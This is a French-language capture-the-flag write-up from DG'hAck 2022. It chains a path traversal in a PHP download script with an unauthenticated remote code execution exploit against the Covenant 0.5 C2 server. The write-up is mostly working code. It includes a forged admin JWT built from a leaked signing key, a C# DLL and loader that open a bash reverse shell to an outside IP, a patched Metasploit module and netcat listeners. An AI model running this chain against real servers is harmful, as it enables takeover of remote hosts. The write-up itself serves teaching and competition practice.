Contents

ūüēłÔłŹ Covenant, une RCE non-authentifi√©e ?

TL; DR;

J’ai eu la chance de pouvoir faire une suite de challenges web (easy et hard) pour le DG’hAck 2022.

Dans cet article vous allez donc trouver le write-up ainsi que quelques explications sur l’infrastructure en place pour le challenge. La suite de challenges √©tait articul√©e de la mani√®re suivante :

  • 1e partie : Path traversal, leak de la configuration nginx.
  • 2eme partie : D√©veloppement d’exploit, une RCE non-authentifi√©e sur Covenant.

Un chasseur sachant chasser… 1/2

Des analystes SOC du Minist√®re des Arm√©es ont remarqu√© des flux suspicieux provenant de machines internes vers un site vitrine d’une entreprise. Pourtant ce site semble tout √† fait l√©gitime.

Vous avez √©t√© mandat√© par la Direction G√©n√©rale de l’Armement pour mener l’enqu√™te. Trouvez un moyen de reprendre partiellement le contr√īle du site web afin de trouver comment ce serveur joue un r√īle dans l’infrastructure de l’acteur malveillant.

Aucun fuzzing n’est n√©cessaire.

Le flag se trouve sur le serveur √† l’endroit permettant d’en savoir plus l’infrastructure de l’attaquant.

Reconnaissance

En arrivant sur la page du challenge, on voit alors un site web d’un diner burger. Qui ne ressemble en rien √† celui d’un acteur malveillant comme indiqu√© dans la description du challenge.

Une des premières choses à faire en arrivant sur un challenge de Web est de regarder quelles sont les fonctionnalités qui marchent bel et bien sur le site.
La seule ici, qui n’est pas de la consultation d’un site vitrine, est le t√©l√©chargement du menu du restaurant.

J’aime √©galement afficher une stacktrace sur le serveur web afin d’en apprendre plus sur le service h√©bergeant le site. Si on visite une page qui n’existe pas, on apprend que le service d√©rri√®re est : nginx/1.22.0.

En temps normal, cette information ne serait pas tr√®s utile car le serveur est bien √† jour. Mais ici le but est de trouver une information sur l’infrastructure de l’attaquant, elle nous sera donc utile pour la suite.

Exploitation

Pour télécharger le menu du restaurant, on fait en fait un appel à /download.php?menu=menu_updated_09_11_2022.jpg.

Si on arrivait √† contr√īler le t√©l√©chargement, on pourrait alors r√©cup√©rer n’importe quel fichier sur le syst√®me d’exploitation que l’utilisateur avec lequel tourne le service nginx peut lire.

Essayons donc de lire la page download.php elle-même.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
curl "http://52.49.162.179/download.php?menu=download.php"

<?php
# Got it from : https://linuxhint.com/download_file_php/
# Should be safe uh ?
if(isset($_GET['menu'])){
  //Read the filename
  $filename = $_GET['menu'];
  //Check the file exists or not
  if(file_exists($filename)) {

    [...]

    //Read the size of the file
    readfile($filename, true);

La faille ici est le fait d’avoir mis le second argument de readfile() √† true. En regardant la documentation de la fonction :

use_include_path
You can use the optional second parameter and set it to true, if you want to search for the file in the include_path, too.

Puisque l’on contr√īle le premier arguement de la fonction, tous les fichiers que l’on donnera √† t√©l√©charger nous seront renvoy√©s. En partant de ce principe, on peut alors lire n’importe quel fichier sur le syst√®me de fichier dont on a le droit de lecture avec l’utilisateur courant.

La bonne piste √† suivre est celle d’afficher la configuration du nginx se situant dans /etc/nginx/nginx.conf :

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
curl "http://52.49.162.179/download.php?menu=/etc/nginx/nginx.conf" 

[...]

# –ü–ĺ–≥–Ľ–ĺ—Č–Ķ–Ĺ–ł–Ķ –≤–Ķ–Ī-—Ā–į–Ļ—ā–į : —Ā–ī–Ķ–Ľ–į–Ĺ–ĺ.
# –≠—ā–ĺ –Ņ—Ä–į–≤–ł–Ľ–ĺ –∑–į–ļ–Ľ—é—á–į–Ķ—ā—Ā—Ź –≤ —ā–ĺ–ľ, —á—ā–ĺ–Ī—č —Ā—ā–į—ā—Ć –Ĺ–į—ą–ł–ľ —Ä–Ķ–ī–ł—Ä–Ķ–ļ—ā–ĺ—Ä–ĺ–ľ c2.
# Covenant 0.5 —Ä–į–Ī–ĺ—ā–į–Ķ—ā –Ĺ–į –ī–ĺ–ļ–Ķ—Ä–Ķ Linux.
# –ü–ĺ—Ä—ā GRUNT –ī–ĺ–Ľ–∂–Ķ–Ĺ –Ī—č—ā—Ć tcp/8000-8250.
# DGA{L3s_D0ux_Burg3r5_se_s0nt_f4it_pwn_:(}

location ^~ /1d8b4cf854cd42f4868849c4ce329da72c406cc11983b4bf45acdae0805f7a72 {
  rewrite /1d8b4cf854cd42f4868849c4ce329da72c406cc11983b4bf45acdae0805f7a72/(.*) /$1 break;
  proxy_pass https://covenant:7443;

Ce sont les derniers commentaires du fichier qui nous intéressent. Ils sont écrits en cyrilique alors que les autres commentaires sont en anglais.

On y apprend alors que le site s’est fait pirater, il redirige le flux de la route /1d8b4cf854cd42f4868849c4ce329da72c406cc11983b4bf45acdae0805f7a72 vers le Command and Control de l’attaquant.

Le C2 de l’attaquant est un Covenant tournant sur un docker linux en version 0.5.

Si on veut accéder aux GRUNTs (équivalent des beacons sous Cobalt Strike), il faudra alors utiliser un port dans la range tcp/8000-8250.

On y trouve également le flag de la première étape.

Un chasseur sachant chasser… 2/2

A pr√©sent que vous avez une id√©e de l’infrastructure de l’attaquant, il vous est demand√© de l’exploiter. Prenez totalement le contr√īle du CnC.

Aucun bruteforce n’est n√©cessaire.

Le flag se trouve dans /flag.txt.

Documentation

Gr√Ęce √† l’√©tape pr√©c√©dente, on sait que l’on a affaire √† un Covenant en version 0.5. Covenant est un Command and Control √©crit en C#. Pour acc√©der √† l’interface d’administration du C2 ainsi qu’√† l’API, il faut utiliser le port ssl/7443. Cette derni√®re ne doit normalement pas √™tre accessible depuis internet, pour des raisons de s√©curit√© √©videntes.

La s√©curit√© de l’attaquant a √©t√© de d√©finir une condition pour que les personnes ne connaissant pas la bonne route √† appeller, ne puissent pas int√©ragir avec le CnC. Cette m√©canique est plus commun√©ment appell√©e “redirector”. En plus d’avoir une optique de s√©curit√©, cela permet de ne pas √† avoir red√©ployer de C2 en cas de blacklist son adresse IP. Il suffit juste de changer de “redirector” et de rediriger le flux vers notre CnC.

Revenons en au challenge. Si l’on recherche covenant c2 0.5 vulnerability, on tombe alors sur plusieurs ressources int√©ressantes. Un premier article de PortSwigger expliquant qu’une vuln√©rabilit√© a √©t√© trouv√©e sur la version 0.5 de Covenant. Faisant alors r√©f√©rence √† l'article de l’auteur, coastal.

Dans ce dernier il nous explique comment il a encha√ģn√© deux vuln√©rabilit√©s afin d’avoir une RCE non-authentifi√©e sur le serveur :

  • La premi√®re est que le d√©veloppeur du framework a malencontreusement pouss√© la cl√© priv√©e permettant de signer les tokens JWT, sur github. Suite √† √ßa un attaquant peut alors utiliser l’API avec les droits d’administration.
  • La seconde est que malgr√© les restrictions du compilateur, il est possible d’ins√©rer une DLL qui sera ex√©cut√©e au moment du d√©codage en base64 de celle-ci. Cette derni√®re permettant alors d’ex√©cuter du code c√īt√© serveur.

Le blog restant assez vague sur certains points, il va alors falloir soit :

  • Prendre en main le framework et d√©velopper son propre exploit.
  • Faire un peu d’OSINT et voir si quelqu’un ne l’a pas d√©j√† fait pour nous.

Dans cet article, nous couvrirons les deux. Dans un premier temps, nous verrons comment r√©parer l’exploit metasploit. Puis comment cr√©er notre prople exploit afin de mieux comprendre comment tout cela marche !

Etude de l’existant

Dans les réponses du tweet annonçant une vulnérabilité critique sur cette version du framework, un français a posté le code source de son module metasploit (nécessitant quelques modifications). Pour charger ce module dans metasploit, il faudra le placer dans les modules déjà existants :

1
2
wget https://raw.githubusercontent.com/Zeop-CyberSec/covenant_rce/master/covenant_jwt_rce.rb
sudo mv covenant_jwt_rce.rb /usr/share/metasploit-framework/modules/exploits/windows/
Modification du module metasploit

Le timestamp du token initialement cr√©√© √† partir de la secret key est expir√© √† l’heure o√Ļ j’√©cris ces lignes. On va alors aller le modifier √† la ligne 129 et mettre un timestamp valide.

L’api ici n√©cessitant de passer par le redirector, on va devoir adapter le code pour que le prefix de la route soit celui trouv√© dans le fichier nginx.conf. Dans la fonction request_api, ligne 317, on va alors modifier le code ainsi :

1
2
3
4
5
6
7
8
9
def request_api(method, uri, data = nil)
  headers = {}
  headers['Authorization'] = "Bearer #{@token}"

  request = {
    'method' => method,
    'uri' => "/1d8b4cf854cd42f4868849c4ce329da72c406cc11983b4bf45acdae0805f7a72#{uri}",
    'headers' => headers
  }

Etant donn√© que l’on ne connait pas l’adresse IP interne du Covenant, on va d√©finir que les listener profiles vont √©couter sur toutes les interfaces en mettant 0.0.0.0 :

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
def create_listener(profile_id)
  data = {
    'useSSL': false,
    'urls': [
      "http://0.0.0.0:#{datastore['C2_RPORT']}"
    ],
    'id': 0,
    'name': @listener_name,
    'bindAddress': "0.0.0.0",
    'bindPort': datastore['C2_RPORT'],
    'connectAddresses': [
      "0.0.0.0"
    ],
    'connectPort': datastore['C2_RPORT'],
    'profileId': profile_id.to_i,
    'listenerTypeId': read_listener_type('HTTP'),
    'status': 'Active'
  }

La payload harcod√©e et qui va √™tre ex√©cut√©e ici est cmd /c calc.exe. Or, si l’on se r√©f√®re au nginx.conf, la machine sur laquelle tourne Covenant est un docker linux. De plus nous cherchons √† avoir le flag se trouvant √† la racine du serveur. Pour ce faire, voir le chapitre de la cr√©ation de la charge utile.

Pour finir, l’exploit va v√©rifier que le port du listener qui a √©t√© choisi, est bien ouvert sur la machine. Ici, les ports sont expos√©s par le docker. L’exploit comprendra donc qu’ils sont d√©j√† utilis√©s. C’est pourquoi on commentera les lignes 408-410 :

1
2
3
4
  # check for active listener conflict.
  # if check_tcp_port(datastore['RHOSTS'], datastore['C2_RPORT'])
  #   fail_with(Failure::Unknown, "Covenant C2 have already tcp/#{datastore['C2_RPORT']} opened.")
  # end

A présent on peut appeller notre module de cette manière :

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
# Sur un VPS
nc -lvnp 1337

# Sur un terminal avec metasploit et le module chargé
msfconsole -q -x 'use exploit/windows/covenant_jwt_rce;
set RHOSTS 52.49.162.179;
set RPORT 80;
set SSL false;
set C2_RPORT <port 8000-8250>;
run'

Et on a notre RCE !

Exploitation

A pr√©sent on va se pencher sur le d√©veloppement de notre propre exploit, en python. Pour ce faire, on va s’aider de la documentation mise √† disposition ainsi que le module metasploit puisque l’on sait qu’il marche.

Pour s’aider avec les diff√©rentes routes de l’API, il est conseill√© d’avoir la configuration de celle-ci. Pour ce faire, on va instancier un docker local vuln√©rable pour faire nos tests.

1
2
3
4
/usr/bin/git clone --recurse-submodules -b "v0.5" --single-branch "https://github.com/cobbr/Covenant" ./Covenant 
cd Covenant/Covenant 
/usr/bin/docker build -t covenant-dghack . 
/usr/bin/docker run -it -p 7443:7443 -p 80:80 -p 443:443 --name covenant-dghack covenant-dghack 

En se connectant sur le docker, on peut alors afficher /app/API/openapi.json :

1
2
3
docker ps -a 
# Récupérer le CONTAINER ID du covenant. 
docker exec -it <ContainerID> cat /app/API/openapi.json

Ce qui va nous donner la d√©finition de toutes les routes, les m√©thodes d’acc√®s, etc. Pour la version vuln√©rable.

Usurpation de l’identit√© de l’administrateur

Comme on peut le lire dans l’article, afin d’√©changer avec l’API on a besoin d’un compte autoris√©. C’est pourquoi le commit de la cl√© priv√© est tr√®s dangereux, il permet d’avoir un acc√®s √† l’application sans conna√ģtre ni les utilisateurs enregistr√©s, ni leurs mots de passe.

Toujours est-il qu’ici nous aurons besoin d’avoir un compte qui existe bien sur l’application et qui poss√®de les droits d’administration. Heureusement pour nous, l’API permet de lister les utilisateurs, leurs r√īles, etc.

On va donc devoir cr√©er et signer un premier JWT, ce token aura pour unique but de faire des appels √† l’API afin de r√©cup√©rer les informations n√©cessaires pour usuper l’identit√© de l’administrateur l√©gitime.

Dans un premier temps, on va utiliser la clé privée trouvée dans le commit pour signer notre propre token :

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
import random
import jwt  # pip3 install PyJWT
from urllib.parse import urlparse
from time import time

def random_hex(length):
  alphabet = "0123456789abcdef"
  return ''.join(random.choice(alphabet) for _ in range(length))

def craft_jwt(username, userid=f"{random_hex(8)}-{random_hex(4)}-{random_hex(4)}-{random_hex(4)}-{random_hex(12)}"):
  secret_key = '%cYA;YK,lxEFw[&P{2HwZ6Axr,{e&3o_}_P%NX+(q&0Ln^#hhft9gTdm\'q%1ugAvfq6rC'

  payload_data = {
    "sub": username,
    "jti": "925f74ca-fc8c-27c6-24be-566b11ab6585",
    "http://schemas.xmlsoap.org/ws/2005/05/identity/claims/nameidentifier": userid,
    "http://schemas.microsoft.com/ws/2008/06/identity/claims/role": [
        "User",
        "Administrator"
    ],
    "exp": int(time()) + 360,
    "iss": "Covenant",
    "aud": "Covenant"
  }

  token = jwt.encode(payload_data, secret_key, algorithm='HS256')
  return token


if __name__ == "__main__":
  #[... Args ...]
  IP_TARGET = urlparse(args.target).hostname

  print("[*] Getting the admin info")
  sacrificial_token = craft_jwt("xThaz")

Puis on va utiliser ce token pour r√©cup√©rer les informations n√©cessaires et usurper l’identit√© de l’administrateur et cr√©er un nouveau token avec les bons droits :

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
from requests import request  # pip3 install requests
import warnings

def request_api(method, token, route, body=""):
  warnings.simplefilter('ignore', InsecureRequestWarning)

  return request(
      method,
      f"{args.target}/api/{route}",
      json=body,
      headers={
          "Authorization": f"Bearer {token}",
          "Content-Type": "application/json"
      },
      verify=False
  )

def get_id_admin(token, json_roles):
  id_admin = ""
  for role in json_roles:
      if role["name"] == "Administrator":
          id_admin = role["id"]
          print(f"\t[*] Found the admin group id : {id_admin}")
          break
  else:
      print("\t[!] Did not found admin group id, quitting !")
      exit(-1)

  id_admin_user = ""
  json_users_roles = request_api("get", token, f"users/roles").json()
  for user_role in json_users_roles:
      if user_role["roleId"] == id_admin:
          id_admin_user = user_role["userId"]
          print(f"\t[*] Found the admin user id : {id_admin_user}")
          break
  else:    
      print("\t[!] Did not found admin id, quitting !")
      exit(-1)

  json_users = request_api("get", token, f"users").json()
  for user in json_users:
      if user["id"] == id_admin_user:
          username_admin = user["userName"]
          print(f"\t[*] Found the admin username : {username_admin}")
          return username_admin, id_admin_user
  else:    
      print("\t[!] Did not found admin username, quitting !")
      exit(-1)

if __name__ == "__main__":
  roles = request_api("get", sacrificial_token, "roles").json()
  admin_username, admin_id = get_id_admin(sacrificial_token, roles)
  impersonate_token = craft_jwt(admin_username, admin_id)
  print(f"\t[*] Impersonated {[admin_username]} with the id {[admin_id]}")

Création de la charge utile

Comme il est d√©crit dans l’article : le but va donc √™tre d’ins√©rer une DLL, ex√©cutant des commandes c√īt√© serveur, dans un listener profile. A savoir que le docker sur lequel tourne le covenant est une machine linux. La DLL √©crite en C# devra donc ex√©cuter une commande bash pour notre reverse shell.

En se basant sur les ressources donn√©es par l’auteur de l’article, on peut utiliser cette base pour la DLL.

C’est dans le Main que l’on va pouvoir ex√©cuter des commandes bash que l’on passera √† la fonction System.Diagnostics.Process.Start(); :

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
using System;
using System.Reflection;

namespace ExampleDLL{
  public class Class1{
    public Class1(){
    }

    public void Main(string[] args){
      System.Diagnostics.Process.Start("bash", "-c \"exec bash -i &>/dev/tcp/51.75.120.170/1337 <&1\"");
    }
  }
}

Pour compiler une DLL C#, il existe deux méthodes :

  • Avoir Visual Studio, n√©cessitant windows
  • Utiliser la librairie mono, disponible sous linux
Compilation avec Visual Studio

Dans un premier temps, il va nous falloir une machine avec windows. On prendra alors soin d’utiliser une machine virtuelle dans notre cas.

Pour ce faire, il faut t√©l√©charger l’ISO de windows 11. Puis cr√©er une machine virtuelle sans oublier de suivre ce tuto, permettant de contourner le fait que l’on n’ai pas de puce TPM sur notre machine virtuelle.

Il faut alors télécharger Visual Studio Community et installer le module nécessaire pour compiler du C# : .NET desktop development.

Comme expliqué dans ce tuto, il faut créer une projet Class Library (.NET Framework).

Il faut ensuite insérer le code de la DLL dans le nouveau projet, puis le compiler. Pour ce faire, il faut utiliser le raccourcis CTRL + SHIFT + B et récupérer la DLL dans C:\Users\<User>\source\repos\<NomDuProjet>\<NomDuProjet>\bin\Debug.

Compilation avec Mono

Mono n’√©tant pas install√© par d√©faut et ne faisant pas parti des paquets par d√©faut sur linux, il va falloir ajouter le repository du projet dans nos sources.

1
2
3
4
5
sudo apt install gnupg ca-certificates
sudo apt-key adv --keyserver hkp://keyserver.ubuntu.com:80 --recv-keys 3FA7E0328081BFF6A14DA29AA6A19B38D3D831EF
echo "deb https://download.mono-project.com/repo/ubuntu stable-focal main" | sudo tee /etc/apt/sources.list.d/mono-official-stable.list
sudo apt update
sudo apt install mono-devel

A pr√©sent le binaire mcs devrait √™tre disponible. On peut alors automatiser la g√©n√©ration et l’encodage des DLL de cette mani√®re :

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
import base64
from subprocess import run
from pathlib import Path
from shutil import which
from os import remove

def compile_payload():
  payload = '"bash", "-c \\"exec bash -i &>/dev/tcp/' + args.lhost + '/' + args.lport + ' <&1\\""'

  dll = "<Code source de la DLL C# précédemment décrite>"

  temp_dll_path = f"/tmp/{random_hex(8)}"
  Path(f"{temp_dll_path}.cs").write_bytes(dll.encode())
  print(f"\t[*] Writing payload in {temp_dll_path}.cs")

  compilo_path = which("mcs")
  compilation = run([compilo_path, temp_dll_path + ".cs", "-t:library"])
  if compilation.returncode:
    print("\t[!] Error when compiling DLL, quitting !")
    exit(-1)
  print(f"\t[*] Successfully compiled the DLL in {temp_dll_path}.dll")

  dll_encoded = base64.b64encode(Path(f"{temp_dll_path}.dll").read_bytes()).decode()

  remove(temp_dll_path + ".cs")
  remove(temp_dll_path + ".dll")
  print(f"\t[*] Removed {temp_dll_path}.cs and {temp_dll_path}.dll")
  return dll_encoded

if __name__ == "__main__":
  print("[*] Generating payload")
  dll_encoded = compile_payload()

Génération du wrapper

Maintenant que l’on a notre reverse shell compil√© en DLL, il faut faire en sorte que covenant l’ex√©cute au moment de l’infection d’une nouvelle machine.

Toujours en reprenant l’article, on peut cr√©er un listener profile en C#. Mais celui-ci ne peut pas utiliser toutes les classes et namespaces car le compilateur utilise uniquement la librairie System.Private.CoreLib.dll. Il est alors impossible d’acc√©der √† l’enti√®ret√© du namespace System.

Par chance, comme il est d√©crit dans cet article, pour faire de l’injection de process en C#, nous devons seulement avoir acc√®s aux classes Activator et Assembly. Coastal, l’a bien expliqu√© dans son blog, avec covenant, on a acc√®s √† ces classes.

Le wrapper qui va se charger de d√©coder et d’ex√©cuter la DLL ressemble alors √† ceci :

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
public static class MessageTransform {
  public static string Transform(byte[] bytes) {
    try {
      string assemblyBase64 = "<DLL encodée en base 64>";
      var assemblyBytes = System.Convert.FromBase64String(assemblyBase64);
      var assembly = System.Reflection.Assembly.Load(assemblyBytes);
      foreach (var type in assembly.GetTypes()) {
        object instance = System.Activator.CreateInstance(type);
        object[] args = new object[] { new string[] { "" } };
        try {
          type.GetMethod("Main").Invoke(instance, args);
        }
        catch {}
      }
    }
    catch {}
    return System.Convert.ToBase64String(bytes);
  }

  public static byte[] Invert(string str) {
    return System.Convert.FromBase64String(str);
  }
}

Création du Listener Profile

Maintenant que l’on a le wrapper qui va ex√©cuter notre reverse shell, on va pouvoir cr√©er le listener profile qui va servir de base pour nos listeners.

Ici le but est de fournir le bon objet json √† la route /api/profiles/http. Ce qui va nous retourner l’id de notre nouveau listener profile.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
def upload_profile(token, wrapper):
  body = {
    'httpUrls': [
      '/en-us/index.html',
      '/en-us/docs.html',
      '/en-us/test.html'
    ],
    'httpRequestHeaders': [
      {
        'name': 'User-Agent',
        'value': 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36'
      },
      {'name': 'Cookie', 'value': 'ASPSESSIONID={GUID}; SESSIONID=1552332971750'}
    ],
    'httpResponseHeaders': [
      {'name': 'Server', 'value': 'Microsoft-IIS/7.5'}
    ],
    'httpPostRequest': 'i=a19ea23062db990386a3a478cb89d52e&data={DATA}&session=75db-99b1-25fe4e9afbe58696-320bea73',
    'httpGetResponse': '{DATA}',
    'httpPostResponse': '{DATA}',
    'id': 0,
    'name': random_hex(8),
    'description': '',
    'type': 'HTTP',
    'messageTransform': wrapper
  }

  response = request_api("post", token, "profiles/http", body)

  if not response.ok:
    print("\t[!] Failed to create the listener profile, quitting !")
    exit(-1)
  else:
    profile_id = response.json().get('id')
    print(f"\t[*] Profile created with id {profile_id}")
    print("\t[*] Successfully created the listener profile")
    return profile_id

if __name__ == "__main__":
  print("[*] Uploading malicious listener profile")
  profile_id = upload_profile(impersonate_token, wrapper)

Création du Listener

A pr√©sent il faut cr√©er le listener qui sera ex√©cut√© au moment de l’infection d’une nouvelle machine. Ce dernier se basera sur le profile malveillant pr√©c√©demment cr√©√©.

Dans un premier temps, on va s’assurer que le port d’√©coute que l’on compte prendre, n’est pas d√©j√† utilis√© par l’attaquant ou un autre joueur :

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
import random

def generate_valid_listener_port(impersonate_token, tries=0):
  if tries >= 10:
    print("\t[!] Tried 10 times to generate a listener port but failed, quitting !")
    exit(-1)

  port = random.randint(8000, 8250)
  listeners = request_api("get", impersonate_token, "listeners").json()

  port_used = []
  for listener in listeners:
    port_used.append(listener["bindPort"])

  if port in port_used:
    print(f"\t[!] Port {port} is already taken by another listener, retrying !")
    generate_valid_listener_port(impersonate_token, tries + 1)
  else:
    print(f"\t[*] Port {port} seems free")
    return port

Il est important de noter que l’on ne connait pas l’IP du covenant. Il faudra alors cr√©er un listener qui √©coute sur toutes les adresses du CnC gr√Ęce √† l’adresse de binding 0.0.0.0.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
def get_id_listener_type(impersonate_token, listener_name):
  response = request_api("get", impersonate_token, "listeners/types")
  if not response.ok:
    print("\t[!] Failed to get the listener type, quitting !")
    exit(-1)
  else:
    for listener_type in response.json():
      if listener_type["name"] == listener_name:
        print(f'\t[*] Found id {listener_type["id"]} for listener {listener_name}')
        return listener_type["id"]

def generate_listener(impersonate_token, profile_id):
  listener_port = generate_valid_listener_port(impersonate_token)
  listener_name = random_hex(8)
  data = {
    'useSSL': False,
    'urls': [
      f"http://0.0.0.0:{listener_port}"
    ],
    'id': 0,
    'name': listener_name,
    'bindAddress': "0.0.0.0",
    'bindPort': listener_port,
    'connectAddresses': [
      "0.0.0.0"
    ],
    'connectPort': listener_port,
    'profileId': profile_id,
    'listenerTypeId': get_id_listener_type(impersonate_token, "HTTP"),
    'status': 'Active'
  }

  response = request_api("post", impersonate_token, "listeners/http", data)

  if not response.ok:
    print("\t[!] Failed to create the listener, quitting !")
    exit(-1)
  else:
    print("\t[*] Successfully created the listener")
    listener_id = response.json().get("id")
    return listener_id, listener_port

if __name__ == "__main__":
  print("[*] Generating listener")
  listener_id, listener_port = generate_listener(impersonate_token, profile_id)

Instanciation d’un GRUNT

Maintenant que tout notre environnement est cr√©√©, il ne nous reste plus qu' √† simuler l’infection d’une nouvelle machine. Ce qui va mettre “en ligne” notre listener et ex√©cuter notre charge utile d√©fini dans le listener profile.

Les communications entre les machines infect√©es et covenant √©tant chiffr√©es, il faut alors r√©cup√©rer la configuration AES (cl√© AES et le pr√©fixe GUID que le GRUNT doit avoir) de l’√©change.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
import re

def create_grunt(impersonate_token, data):
  stager_code = request_api("put", impersonate_token, "launchers/binary", data).json()["stagerCode"]
  if stager_code == "":
    stager_code = request_api("post", impersonate_token, "launchers/binary", data).json()["stagerCode"]
    if stager_code == "":
      print("\t[!] Failed to create the grunt payload, quitting !")
      exit(-1)

  print("\t[*] Successfully created the grunt payload")
  return stager_code

def get_grunt_config(impersonate_token, listener_id):
  data = {
    'id': 0,
    'listenerId': listener_id,
    'implantTemplateId': 1,
    'name': 'Binary',
    'description': 'Uses a generated .NET Framework binary to launch a Grunt.',
    'type': 'binary',
    'dotNetVersion': 'Net35',
    'runtimeIdentifier': 'win_x64',
    'validateCert': True,
    'useCertPinning': True,
    'smbPipeName': 'string',
    'delay': 0,
    'jitterPercent': 0,
    'connectAttempts': 0,
    'launcherString': 'GruntHTTP.exe',
    'outputKind': 'consoleApplication',
    'compressStager': False
  }

  stager_code = create_grunt(impersonate_token, data)
  aes_key = re.search(r'FromBase64String\(@\"(.[A-Za-z0-9+\/=]{40,50}?)\"\);', stager_code)
  guid_prefix = re.search(r'aGUID = @"(.{10}[0-9a-f]?)";', stager_code)
  if not aes_key or not guid_prefix:
    print("\t[!] Failed to retrieve the grunt configuration, quitting !")
    exit(-1)

  aes_key = aes_key.group(1)
  guid_prefix = guid_prefix.group(1)
  print(f"\t[*] Found the grunt configuration {[aes_key, guid_prefix]}")
  return aes_key, guid_prefix

if __name__ == "__main__":
  print("[*] Triggering the exploit")
  aes_key, guid_prefix = get_grunt_config(impersonate_token, listener_id)

Le message √† envoyer √† covenant pour dire qu’une nouvelle machine est infect√©e est celui que l’on a d√©fini dans notre listener profile. Il faut alors scrupuleusement les respecter sinon le listener nous renverra un code d’erreur 500. Comme dit pr√©c√©demment, l’√©change avec le C2 est chiffr√©, on va devoir signer le message et en faire sa signature.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
from os import urandom
from Crypto.Util.Padding import pad
from Crypto.Cipher import AES
from Crypto.Hash import HMAC, SHA256  # pip3 install pycryptodome

def aes256_cbc_encrypt(key, message):
  iv_bytes = urandom(16)
  key_decoded = base64.b64decode(key)
  encoded_message = pad(message.encode(), 16)

  cipher = AES.new(key_decoded, AES.MODE_CBC, iv_bytes)
  encrypted = cipher.encrypt(encoded_message)

  hmac = HMAC.new(key_decoded, digestmod=SHA256)
  signature = hmac.update(encrypted).digest()

  return encrypted, iv_bytes, signature

def trigger_exploit(listener_port, aes_key, guid):
  message = "<RSAKeyValue><Modulus>tqwoOYfwOkdfax+Er6P3leoKE/w5wWYgmb/riTpSSWCA6T2JklWrPtf9z3s/k0wIi5pX3jWeC5RV5Y/E23jQXPfBB9jW95pIqxwhZ1wC2UOVA8eSCvqbTpqmvTuFPat8ek5piS/QQPSZG98vLsfJ2jQT6XywRZ5JgAZjaqmwUk/lhbUedizVAnYnVqcR4fPEJj2ZVPIzerzIFfGWQrSEbfnjp4F8Y6DjNSTburjFgP0YdXQ9S7qCJ983vM11LfyZiGf97/wFIzXf7pl7CsA8nmQP8t46h8b5hCikXl1waEQLEW+tHRIso+7nBv7ciJ5WgizSAYfXfePlw59xp4UMFQ==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue>"

  ciphered, iv, signature = aes256_cbc_encrypt(aes_key, message)
  data = {
    "GUID": guid,
    "Type": 0,
    "Meta": '',
    "IV": base64.b64encode(iv).decode(),
    "EncryptedMessage": base64.b64encode(ciphered).decode(),
    "HMAC": base64.b64encode(signature).decode()
  }

  json_data = json.dumps(data).encode("utf-8")
  payload = f"i=a19ea23062db990386a3a478cb89d52e&data={base64.urlsafe_b64encode(json_data).decode()}&session=75db-99b1-25fe4e9afbe58696-320bea73"

  if send_exploit(listener_port, "Cookie", guid, payload):
    print("\t[*] Exploit succeeded, check listener")
  else :
    print("\t[!] Exploit failed, retrying")
    if send_exploit(listener_port, "Cookies", guid, payload):
      print("\t[*] Exploit succeeded, check listener")
    else:
      print("\t[!] Exploit failed, quitting")

if __name__ == "__main__":
  trigger_exploit(listener_port, aes_key, f"{guid_prefix}{random_hex(10)}")

Le port √©coutant du listener n’√©tant pas un r√©el serveur web, il est alors pr√©f√©rable d’utiliser une socket TCP pour envoyer la requ√™te. D’exp√©rience, il semblerait que l’exploit soit plus stable ainsi.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from pwn import remote, context  # pip3 install pwntools

def send_exploit(listener_port, header_cookie, guid, payload):
  context.log_level = 'error'

  request = f"""POST /en-us/test.html HTTP/1.1\r
Host: {IP_TARGET}:{listener_port}\r
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36\r
{header_cookie}: ASPSESSIONID={guid}; SESSIONID=1552332971750\r
Content-Type: application/x-www-form-urlencoded\r
Content-Length: {len(payload)}\r
\r
{payload}
""".encode()

  sock = remote(IP_TARGET, listener_port)
  sock.sendline(request)
  response = sock.recv().decode()
  sock.close()

  if "HTTP/1.1 200 OK" in response:
      return True
  else:
      return False

Plaisir et profit

Il ne reste plus qu’√† ouvrir un netcat sur la machine avec laquelle on va recevoir la connexion de covenant et √† lancer l’exploit.

1
2
3
4
5
# Sur un VPS
nc -lvnp 1337

# Sur un autre terminal
